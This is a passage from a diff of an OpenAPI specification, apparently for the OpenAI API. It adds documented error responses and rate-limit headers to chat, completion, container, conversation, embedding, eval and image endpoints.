+ description: JSON-encoded error text containing an error object and the HTTP status.
+ '403':
+ description: Access to a personal API organization is blocked by the organization policy.
+ content:
+ text/plain:
+ schema:
+ type: string
+ description: JSON-encoded error text containing an error object and the HTTP status.
+ '404':
+ description: The requested model or a referenced resource was not found or is unavailable to this caller.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/InferenceRateLimited'
+ '500':
+ description: The chat completion could not be processed due to an internal error.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
@@ -3298,8 +3522,43 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/CreateCompletionResponse'
+ '400':
+ description: Invalid completion request or incompatible request parameters.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '401':
+ description: Authentication failed because the API key is missing or revoked, or the client IP is not authorized.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ text/plain:
+ schema:
+ type: string
+ description: JSON-encoded error text containing an error object and the HTTP status.
+ '403':
+ description: Access to a personal API organization is blocked by the organization policy.
+ content:
+ text/plain:
+ schema:
+ type: string
+ description: JSON-encoded error text containing an error object and the HTTP status.
+ '404':
+ description: The requested model was not found, is unavailable, or does not support this endpoint.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/InferenceRateLimited'
+ '500':
+ description: The completion could not be processed due to an internal error.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
@@ -3466,6 +3725,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ContainerListResource'
+ '404':
+ description: The container specified by `after` was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -3515,6 +3780,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ContainerResource'
+ '400':
+ description: The container configuration or supplied skill is invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -3581,6 +3852,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ContainerResource'
+ '404':
+ description: The container was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -3619,6 +3896,12 @@ paths:
responses:
'200':
description: OK
+ '404':
+ description: The container was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -3665,6 +3948,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ContainerFileResource'
+ '400':
+ description: The file input is invalid, or the container file limit would be exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The container was not found or has expired.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -3727,6 +4022,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ContainerFileListResource'
+ '404':
+ description: The container was not found or has expired, or the file specified by `after` was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -3778,6 +4079,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ContainerFileResource'
+ '404':
+ description: The container was not found or has expired, or the file was not found in the container.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -3816,6 +4123,12 @@ paths:
responses:
'200':
description: OK
+ '404':
+ description: The container was not found or has expired, or the file was not found in the container.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -3851,6 +4164,12 @@ paths:
responses:
'200':
description: Success
+ '404':
+ description: The container was not found or has expired, or the file was not found in the container.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -3910,15 +4229,33 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ConversationItemList'
- '429':
- $ref: '#/components/responses/TooManyRequests'
- x-oaiMeta:
- group: conversations
- path: create-item
- examples:
- request:
- curl: |
- curl https://api.openai.com/v1/conversations/conv_123/items \
+ '400':
+ description: The items are invalid, are already in the conversation, or the conversation is locked.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The conversation was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
+ '500':
+ description: The conversation update could not be finalized.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ x-oaiMeta:
+ group: conversations
+ path: create-item
+ examples:
+ request:
+ curl: |
+ curl https://api.openai.com/v1/conversations/conv_123/items \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
@@ -4106,6 +4443,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ConversationItemList'
+ '400':
+ description: The stored encrypted item content could not be validated.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The conversation or the item specified by `after` was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -4198,6 +4547,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ConversationItem'
+ '404':
+ description: The conversation or the item in that conversation was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -4274,8 +4629,26 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ConversationResource'
+ '400':
+ description: The item cannot be removed while the conversation is locked.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The conversation or the item in that conversation was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
+ '500':
+ description: The conversation update could not be finalized.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: conversations
path: delete-item
@@ -4339,8 +4712,37 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/CreateEmbeddingResponse'
+ '400':
+ description: Invalid embedding input or request parameters.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '401':
+ description: Authentication failed because the API key is missing or revoked, or the client IP is not authorized.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ text/plain:
+ schema:
+ type: string
+ description: JSON-encoded error text containing an error object and the HTTP status.
+ '403':
+ description: Access to a personal API organization is blocked by the organization policy.
+ content:
+ text/plain:
+ schema:
+ type: string
+ description: JSON-encoded error text containing an error object and the HTTP status.
'429':
$ref: '#/components/responses/InferenceRateLimited'
+ '500':
+ description: The embedding request could not be processed due to an internal error.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
@@ -4589,6 +4991,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Eval'
+ '400':
+ description: The evaluation input or grader configuration is invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -4770,6 +5178,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Eval'
+ '404':
+ description: The evaluation was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -4872,6 +5286,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Eval'
+ '400':
+ description: The evaluation name or metadata is invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The evaluation was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -4986,12 +5412,18 @@ paths:
- object
- deleted
- eval_id
+ '400':
+ description: The evaluation cannot be deleted while it has unfinished runs.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'404':
description: Evaluation not found.
content:
application/json:
schema:
- $ref: '#/components/schemas/Error'
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -5078,6 +5510,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/EvalRunList'
+ '400':
+ description: The run list parameters are invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The evaluation or the run specified by `after` was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -5214,9 +5658,21 @@ paths:
content:
application/json:
schema:
- $ref: '#/components/schemas/Error'
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The evaluation or a referenced resource was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
+ '500':
+ description: The evaluation run could not be created.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: evals
examples:
@@ -5398,6 +5854,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/EvalRun'
+ '400':
+ description: The evaluation run does not belong to the specified evaluation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The evaluation or evaluation run was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -5811,12 +6279,18 @@ paths:
run_id:
type: string
example: evalrun_677469f564d48190807532a852da3afb
+ '400':
+ description: The evaluation run cannot be deleted until it is finished.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'404':
description: Run not found
content:
application/json:
schema:
- $ref: '#/components/schemas/Error'
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -5916,6 +6390,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/EvalRunOutputItemList'
+ '400':
+ description: The output item list parameters are invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The evaluation or evaluation run was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -6050,6 +6536,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/EvalRunOutputItem'
+ '400':
+ description: The output item was not found, its identifier is invalid, or the run does not belong to the evaluation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The evaluation or evaluation run was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -8188,8 +8686,32 @@ paths:
text/event-stream:
schema:
$ref: '#/components/schemas/ImageEditStreamEvent'
+ '400':
+ description: Invalid image request, including invalid DALL-E parameters or input.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The project does not have access to the requested model.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '410':
+ description: The requested DALL-E image endpoint is unavailable because it has been retired.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/InferenceRateLimited'
+ '500':
+ description: The image could not be generated or processed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
@@ -8365,8 +8887,32 @@ paths:
text/event-stream:
schema:
$ref: '#/components/schemas/ImageGenStreamEvent'
+ '400':
+ description: Invalid image request, including invalid DALL-E parameters or input.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The project does not have access to the requested model.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '410':
+ description: The requested DALL-E image endpoint is unavailable because it has been retired.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/InferenceRateLimited'
+ '500':
+ description: The image could not be generated or processed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
@@ -8503,6 +9049,50 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ImagesResponse'
+ '400':
+ description: Invalid image or request, or the request cannot be processed for this account.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The project does not have access to the requested model.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '410':
+ description: The image variations endpoint is no longer available.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: The image rate limit was exceeded.
+ headers:
+ X-RateLimit-Limit-Images:
+ description: The image limit for the rate-limit window.
+ schema:
+ type: number
+ X-RateLimit-Remaining-Images:
+ description: The number of images remaining in the rate-limit window.
+ schema:
+ type: number
+ minimum: 0
+ X-RateLimit-Reset-Images:
+ description: The number of seconds until the rate-limit window resets.
+ schema:
+ type: integer
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '500':
+ description: The image variation could not be generated or processed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: images
examples:
@@ -8587,31 +9177,70 @@ paths:
transport:
type: webrtc
sdp: